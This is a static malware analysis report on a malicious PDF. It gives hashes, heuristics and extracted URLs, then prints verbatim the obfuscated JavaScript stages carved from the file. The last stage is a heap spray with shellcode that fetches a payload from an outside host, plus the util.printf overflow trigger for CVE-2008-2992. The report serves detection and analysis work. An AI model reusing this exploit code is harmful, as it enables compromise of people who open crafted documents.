Malicious PDF — malware analysis report

Static analysis result for SHA-256 c696398a02ad1f55…

MALICIOUS

PDF

4.0 KB First seen: 2012-07-12
MD5: d774625cbbe739ab7f6af7a9f4eba43f SHA-1: c2e5bf8f92da53d130ec63402edc9c41b261b513 SHA-256: c696398a02ad1f55af017d72923826a49fddcf58fee67d807de73c68409d71e0
276 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The JavaScript streams, particularly 'acroform_b64_00.js', appear to be obfuscated and contain eval() calls and String.fromCharCode, suggesting an attempt to hide malicious code execution. This pattern is typical of PDFs used to download and execute further malware. No specific family could be identified due to the obfuscation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
                            eval(output);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://frJ2D6RMt.elihforV/6Lc Referenced by PDF JavaScript
    • http://93.174.93.11/~delmonca/u/load.phpReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x368 6349 bytes
SHA-256: 89ba4d110f00a70ce2b013a6036ae73f933166f332be33d0a21b85ac8a977e94
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var Base64 = {
                _keyStr : "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
                decode : function (input) {
                        var output = "";
                        var chr1, chr2, chr3;
                        var enc1, enc2, enc3, enc4;
                        var i = 0;
                        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
                        while (i < input.length) {
                                enc1 = this._keyStr.indexOf(input.charAt(i++));
                                enc2 = this._keyStr.indexOf(input.charAt(i++));
                                enc3 = this._keyStr.indexOf(input.charAt(i++));
                                enc4 = this._keyStr.indexOf(input.charAt(i++));
                                chr1 = (enc1 << 2) | (enc2 >> 4);
                                chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                                chr3 = ((enc3 & 3) << 6) | enc4;
                                output = output + String.fromCharCode(chr1);
                                if (enc3 != 64) {
                                        output = output + String.fromCharCode(chr2);
                                }
                                if (enc4 != 64) {
                                        output = output + String.fromCharCode(chr3);
                                }
                        }
                        eval(output);
                }
        }
        Base64.decode("ZnVuY3Rpb24gVXhZZmQ0MXFaKHFjSklOUHF0TVlPSTk5KXsgcmV0dXJuIFN0cmluZ1snZnJvbUNoYXJDb2RlJ10ocWNKSU5QcXRNWU9JOTkpO30gZnVuY3Rpb24gYkRhd0wxd2p6KHBTMzVUbXhjREMyZEQpeyB2YXIgRjNZZk41PTAsIGl4aDVmUm9rcnJWeT1wUzM1VG14Y0RDMmRELmxlbmd0aCwgbTZITFljbz0xMDI0LCBxMjNaRmhiNzhKLCBKcjJGRFE2WVIsIG5EU0VwNjF0PScnLCBtWjVaM2dWdEFnPUYzWWZONSwgRGRKOVF6TEkzVT1GM1lmTjUsIHM2bDNjNzV4TmFyPUYzWWZONSwgTkpxZmxqY09zd2ZhSD1BcnJheSg2MywwLDU1LDQ1LDM0LDMyLDI5LDE4LDEzLDksMCwwLDAsMCwwLDAsMjQsNTgsNTksMjEsMzYsMjIsMTQsNjAsNyw0Nyw2MSwxNyw4LDI2LDU3LDI3LDQxLDM1LDYyLDUzLDE2LDQ2LDMwLDUsNiw0LDEyLDAsMCwwLDAsNDgsMCwyOCw1MCw0OSwxNSwyLDI1LDM5LDMxLDU0LDEsNTEsMTEsNDMsMjMsNDAsMzcsMyw1Niw0Miw0NCwzMywzOCwyMCwxOSw1MiwxMCk7IGZvcihKcjJGRFE2WVI9TWF0aC5jZWlsKGl4aDVmUm9rcnJWeS9tNkhMWWNvKTtKcjJGRFE2WVI+RjNZZk41O0pyMkZEUTZZUi0tKXsgZm9yKHEyM1pGaGI3OEo9TWF0aC5taW4oaXhoNWZSb2tyclZ5LG02SExZY28pO3EyM1pGaGI3OEo+RjNZZk41O3EyM1pGaGI3OEotLSxpeGg1ZlJva3JyVnktLSl7IHM2bDNjNzV4TmFyfD0oTkpxZmxqY09zd2ZhSFtwUzM1VG14Y0RDMmRELmNoYXJDb2RlQXQobVo1WjNnVnRBZysrKS00OF0pPDxEZEo5UXpMSTNVOyBpZihEZEo5UXpMSTNVKXsgbkRTRXA2MXQrPVV4WWZkNDFxWigyNF5zNmwzYzc1eE5hciYyNTUpOyBzNmwzYzc1eE5hcj4+PTg7IERkSjlRekxJM1UtPTI7IH0gZWxzZSB7IERkSjlRekxJM1U9NjsgfSB9IH0gZXZhbChuRFNFcDYxdCk7IH0gYkRhd0wxd2p6KCdtam5oeUsyVjJjbmhweXY2SjNpVk51RWhfb3hkM2NienR0N2QzY2J6dHQ3ZDNjYnp0dDdkM3U0bjZQQ2QzM2J6M29DZDNONGxPVzdkM2plek1XN2QzamV6b0Q3ZDNTcG5tdDdkM1NwenR0N2QzU3BFVnBDZDNTV0xveTdkM05wbjYzQ2QzTnBuVk5DZDNqNEVJckNkM2NwbnR5Q2QzU3BuNk5DZDNOZWw2TkNkM1NTemZOQ2QzVzRuVV83ZDNjNHpWMzdkM1c0blVfN2QzTjduNko3ZDNTcG5vdDdkM1NwbjZQQ2QzTmVsNk5DZDNQQ0xvdDdkM043ejVHN2QzU0N6ZnA3ZDN1YmxvdDdkM1NwblBEN2QzU3BuNk5DZDNwQ0VVcjdkM1BDTDZQQ2QzSmJsNUc3ZDNON2xQRDdkM3VibDZwN2QzU3BuUHJDZDNTcG42TkNkM3BDRVVyN2QzUENMNko3ZDMzQ0U1RzdkM3BlejNyQ2QzdWJsc19DZDNTcG5vX0NkM1NwbjZOQ2QzcENFVXI3ZDNQQ0w2MzdkM3VlejVHN2QzdTRuc0Q3ZDN1Ymw1ckNkM1Nwbm1vQ2QzU3BuNk5DZDNwQ0VVcjdkM1BDTFZOQ2QzUDduNUc3ZDN1N0V1cjdkM3VibDNHN2QzU3Buc1k3ZDNTcG42TkNkM3BDRVVyN2QzcHBuVlBDZDNjU2xVckNkM1c3RXN0Q2QzTjRsUHk3ZDNOU2xmcENkM1NXTG9yN2QzU3BuNlNDZDNQQ3o2TkNkM1c3RVVyN2QzTmVsT1BDZDNTcEVmcENkM1NDbjV5N2QzTmVsTU43ZDNOU2xNcENkM3VibE1XN2QzU3BuVV83ZDNTcG42TkNkM2pibE1OQ2QzTkNsYVc3ZDNXNG5PdTdkM0plTG9HN2QzU3BuNk5DZDNONGw2TkNkM05TemZwQ2QzUDdFVV83ZDNQNG5VdENkM040bE1OQ2QzM3BuZnBDZDNwZXo1RzdkM1NwbjZOQ2QzUHBuNk5DZDNwQ0VVXzdkM2o3bFZQQ2QzUHBsNmNDZDNQQ0VVXzdkM3VibFZKN2QzU3BuNXlDZDNTcG42TkNkM3BDRTYzQ2QzUGVMT05DZDNQU3o2TkNkMzNDenVEN2QzUGVMNURDZDNTcEVmTkNkM2o3RXVHN2QzU3BuNk5DZDNXN0VQNTdkM05lbE9OQ2QzU1N6ZnBDZDNTQ241eTdkM05lbE1ON2QzTlNsTXBDZDNwcG5vRzdkM1NwbjZOQ2QzajdsNk5DZDNQU2w2ajdkM3BDRTYzQ2QzY1NFT1BDZDNQU0VtXzdkM3Blek0zQ2QzM3BudURDZDNQU0VNTkNkM3BDRVVfN2QzajdsVjM3ZDNQcGw2cENkM1BDRVVfN2QzdWJsVko3ZDNTcG5PM0NkM1NwbjZOQ2QzU3BuNXk3ZDNXN0VQNTdkM05lbE9OQ2QzU1NsZnBDZDNTV241eTdkM05lbE1ON2QzTlNsTXBDZDNOcG5vRzdkM1NwbjZOQ2QzajdsNk5DZDNOZWxQNTdkM05wbmZwQ2QzU0NuNXk3ZDNOZWxNTjdkM05TbE1wQ2QzU3Bub0c3ZDNTcG42TkNkM3BDbjZOQ2QzUFduTWM3ZDN1N242M0NkM3U3bjYzQ2QzdTduNjNDZDN1N242M0NkM3VielV0Q2QzUENsNlBDZDNOZWxNM0NkM3Vlbm15N2QzUFduUDE3ZDN1NG5QNTdkM05lbE1wQ2QzTmVsb3Q3ZDNTU2x1bzdkM1BwelVfN2QzUENMNjM3ZDNXYkVVXzdkM05lbGEzN2QzTkN6dW9DZDNTU0V1RzdkM1BDTFB0Q2QzVzdMVV83ZDNTU0VPTkNkM2NTRVB0Q2QzcHBsc3I3ZDNjNHpmU0NkM1BiRTYzQ2QzY1NFTVc3ZDNTV3pQWTdkM05wbjNEN2QzcGVuYVM3ZDNTU2x1b0NkM1A3enN5Q2QzU1NFNlA3ZDNwcG5QX0NkM3A3bm9fN2QzcDd6YWM3ZDNXN0VNcDdkM1BDbG9EQ2QzdWVsVV83ZDNQQ2xVXzdkM1NTRU9QQ2QzajdMbW83ZDNTU3pVXzdkM05lbGZjN2QzTlN6TVM3ZDMzNHo2M0NkM1NwRVVfN2QzU1NFVV83ZDNQQ3pzRENkM1Blbk1QN2QzU3BuNko3ZDNwNEVvRzdkM3BlelBEN2QzUENFUDU3ZDNwU3pNY0NkM3BXemZQN2QzU3BuZnA3ZDNKZWxVMTdkM0pleklfN2QzUDRubURDZDMzN0xzckNkM1A3bm10N2QzM2JsbUQ3ZDNQN25tXzdkMzNiem1ZN2QzMzd6c3lDZDNQNG5tRDdkM05lbEl5Q2QzTmJFVXk3ZDNONG5VX0NkM05ielV5Q2QzUDRuVUQ3ZDNQNG5JeTdkM040blV0Q2QzTmVsVUQ3ZDNKZXpzeUNkM0plelUxNEZjWmVGVXBnTXJ0WE1zQzdPaVMyTUJwSE1KalFGSnlYemZ1N0VKeVh6ZnU3RUFZa0xVcGdNckBuNnBvZXpRckVWc3VRaDBDNDZTOGtNX1NINnkzMjZHU2c4eVNnNjBjWGFRR1hhY0tuaF90WE1zZnE2SmYyaHRqSDlSSm5abXV2TWt3Yk1vUGlMVXBnTXJAbjZBUEU5bXV2TWl0RU9BM1hPc1dnNjBqcXp5cjJoY1o0T05QWEZtY0VhMENiTW9QdjhtU3ZWbWN2TWNmMmhfNWU4bXV2TWlUbmhpSkhPX0NRaDBXa0xJam5heVNIWm1jRWEwZnE2SmYyaHRqMlpSSkg5bzF2bG81ZXpvWWtNdFcyaHB0WE9jSjJabWNFYTA4UTZTUGdNUXJFVnN1eFZzUEU2cEBuaEl1eEVzUEVWdWp4WlFyMjZzanhhNENlelFZZ0BERDR6bzViTGM5aVprWWtATlB2TVM4d2E0Q3c5bWNFYTA4a01fU0g2eTMyNkdTbmZVcGdNcl9INmlDbjlBRDR6dVk3THVZN0x1WTdMQVpRRnVZN0x1WTRGa294THVZN0w1MWVMNTFlTDVva1pBMWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNW9rWkExZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMQVpRRjUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDUxZUw1MWVMNTE0RmtvcUw1MWVMNTFlTDUxZUw1MWVMQVpRRjUxZUw1MWVMNTFlTDUxZUw1MWVMNTFlTDVva1pBMWVMNTFlTDUxZUw1MWVMNTFlTEFaN090V0g2aTV2TWNmSE9SalFGSl83bG81ZXpSUHE4R0tnNlNXa0wnKTs=");
acroform_b64_00.js deobfuscated-js PDF AcroForm base64 (decompressed) at offset 0x99D 3608 bytes
SHA-256: 089427e999f6422fb2e9cf4977c55e4de920844e27bb1adaf7a1b99e1469725e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 16 of 26 identifiers look randomly generated (e.g. 'mjnhyK2V2cnhpyv6J3iVNuEh_oxd3cbztt7d3cbz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function UxYfd41qZ(qcJINPqtMYOI99){ return String['fromCharCode'](qcJINPqtMYOI99);} function bDawL1wjz(pS35TmxcDC2dD){ var F3YfN5=0, ixh5fRokrrVy=pS35TmxcDC2dD.length, m6HLYco=1024, q23ZFhb78J, Jr2FDQ6YR, nDSEp61t='', mZ5Z3gVtAg=F3YfN5, DdJ9QzLI3U=F3YfN5, s6l3c75xNar=F3YfN5, NJqfljcOswfaH=Array(63,0,55,45,34,32,29,18,13,9,0,0,0,0,0,0,24,58,59,21,36,22,14,60,7,47,61,17,8,26,57,27,41,35,62,53,16,46,30,5,6,4,12,0,0,0,0,48,0,28,50,49,15,2,25,39,31,54,1,51,11,43,23,40,37,3,56,42,44,33,38,20,19,52,10); for(Jr2FDQ6YR=Math.ceil(ixh5fRokrrVy/m6HLYco);Jr2FDQ6YR>F3YfN5;Jr2FDQ6YR--){ for(q23ZFhb78J=Math.min(ixh5fRokrrVy,m6HLYco);q23ZFhb78J>F3YfN5;q23ZFhb78J--,ixh5fRokrrVy--){ s6l3c75xNar|=(NJqfljcOswfaH[pS35TmxcDC2dD.charCodeAt(mZ5Z3gVtAg++)-48])<<DdJ9QzLI3U; if(DdJ9QzLI3U){ nDSEp61t+=UxYfd41qZ(24^s6l3c75xNar&255); s6l3c75xNar>>=8; DdJ9QzLI3U-=2; } else { DdJ9QzLI3U=6; } } } eval(nDSEp61t); } bDawL1wjz('mjnhyK2V2cnhpyv6J3iVNuEh_oxd3cbztt7d3cbztt7d3cbztt7d3u4n6PCd33bz3oCd3N4lOW7d3jezMW7d3jezoD7d3Spnmt7d3Spztt7d3SpEVpCd3SWLoy7d3Npn63Cd3NpnVNCd3j4EIrCd3cpntyCd3Spn6NCd3Nel6NCd3SSzfNCd3W4nU_7d3c4zV37d3W4nU_7d3N7n6J7d3Spnot7d3Spn6PCd3Nel6NCd3PCLot7d3N7z5G7d3SCzfp7d3ublot7d3SpnPD7d3Spn6NCd3pCEUr7d3PCL6PCd3Jbl5G7d3N7lPD7d3ubl6p7d3SpnPrCd3Spn6NCd3pCEUr7d3PCL6J7d33CE5G7d3pez3rCd3ubls_Cd3Spno_Cd3Spn6NCd3pCEUr7d3PCL637d3uez5G7d3u4nsD7d3ubl5rCd3SpnmoCd3Spn6NCd3pCEUr7d3PCLVNCd3P7n5G7d3u7Eur7d3ubl3G7d3SpnsY7d3Spn6NCd3pCEUr7d3ppnVPCd3cSlUrCd3W7EstCd3N4lPy7d3NSlfpCd3SWLor7d3Spn6SCd3PCz6NCd3W7EUr7d3NelOPCd3SpEfpCd3SCn5y7d3NelMN7d3NSlMpCd3ublMW7d3SpnU_7d3Spn6NCd3jblMNCd3NClaW7d3W4nOu7d3JeLoG7d3Spn6NCd3N4l6NCd3NSzfpCd3P7EU_7d3P4nUtCd3N4lMNCd33pnfpCd3pez5G7d3Spn6NCd3Ppn6NCd3pCEU_7d3j7lVPCd3Ppl6cCd3PCEU_7d3ublVJ7d3Spn5yCd3Spn6NCd3pCE63Cd3PeLONCd3PSz6NCd33CzuD7d3PeL5DCd3SpEfNCd3j7EuG7d3Spn6NCd3W7EP57d3NelONCd3SSzfpCd3SCn5y7d3NelMN7d3NSlMpCd3ppnoG7d3Spn6NCd3j7l6NCd3PSl6j7d3pCE63Cd3cSEOPCd3PSEm_7d3pezM3Cd33pnuDCd3PSEMNCd3pCEU_7d3j7lV37d3Ppl6pCd3PCEU_7d3ublVJ7d3SpnO3Cd3Spn6NCd3Spn5y7d3W7EP57d3NelONCd3SSlfpCd3SWn5y7d3NelMN7d3NSlMpCd3NpnoG7d3Spn6NCd3j7l6NCd3NelP57d3NpnfpCd3SCn5y7d3NelMN7d3NSlMpCd3SpnoG7d3Spn6NCd3pCn6NCd3PWnMc7d3u7n63Cd3u7n63Cd3u7n63Cd3u7n63Cd3ubzUtCd3PCl6PCd3NelM3Cd3uenmy7d3PWnP17d3u4nP57d3NelMpCd3Nelot7d3SSluo7d3PpzU_7d3PCL637d3WbEU_7d3Nela37d3NCzuoCd3SSEuG7d3PCLPtCd3W7LU_7d3SSEONCd3cSEPtCd3pplsr7d3c4zfSCd3PbE63Cd3cSEMW7d3SWzPY7d3Npn3D7d3penaS7d3SSluoCd3P7zsyCd3SSE6P7d3ppnP_Cd3p7no_7d3p7zac7d3W7EMp7d3PCloDCd3uelU_7d3PClU_7d3SSEOPCd3j7Lmo7d3SSzU_7d3Nelfc7d3NSzMS7d334z63Cd3SpEU_7d3SSEU_7d3PCzsDCd3PenMP7d3Spn6J7d3p4EoG7d3pezPD7d3PCEP57d3pSzMcCd3pWzfP7d3Spnfp7d3JelU17d3JezI_7d3P4nmDCd337LsrCd3P7nmt7d33blmD7d3P7nm_7d33bzmY7d337zsyCd3P4nmD7d3NelIyCd3NbEUy7d3N4nU_Cd3NbzUyCd3P4nUD7d3P4nIy7d3N4nUtCd3NelUD7d3JezsyCd3JezU14FcZeFUpgMrtXMsC7OiS2MBpHMJjQFJyXzfu7EJyXzfu7EAYkLUpgMr@n6poezQrEVsuQh0C46S8kM_SH6y326GSg8ySg60cXaQGXacKnh_tXMsfq6Jf2htjH9RJnZmuvMkwbMoPiLUpgMr@n6APE9muvMitEOA3XOsWg60jqzyr2hcZ4ONPXFmcEa0CbMoPv8mSvVmcvMcf2h_5e8muvMiTnhiJHO_CQh0WkLIjnaySHZmcEa0fq6Jf2htj2ZRJH9o1vlo5ezoYkMtW2hptXOcJ2ZmcEa08Q6SPgMQrEVsuxVsPE6p@nhIuxEsPEVujxZQr26sjxa4CezQYg@DD4zo5bLc9iZkYk@NPvMS8wa4Cw9mcEa08kM_SH6y326GSnfUpgMr_H6iCn9AD4zuY7LuY7LuY7LAZQFuY7LuY4FkoxLuY7L51eL51eL5okZA1eL51eL51eL51eL51eL51eL51eL51eL51eL51eL5okZA1eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eLAZQF51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL51eL514FkoqL51eL51eL51eL51eLAZQF51eL51eL51eL51eL51eL51eL5okZA1eL51eL51eL51eL51eLAZ7OtWH6i5vMcfHORjQFJ_7lo5ezRPq8GKg6SWkL');
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 2 (PDF /JS object 13) at offset 0x95E 2025 bytes
SHA-256: 85fe71200c33f398824631ccde606ec4fbbce8035fb8611c145accabab2137e1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
shellcode=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u392F%u2E33%u3731%u2E34%u3339%u312E%u2F31%u647E%u6C65%u6F6D%u636E%u2F61%u2F75%u6F6C%u6461%u702E%u7068"); var spr=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+shellcode.length;while(spr.length<fg)spr+=spr;var nmbr=spr.substring(0,fg);var stig=spr.substring(0,spr.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+shellcode}var dlnm="12999999999"+"99999"+"99998888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",dlnm);

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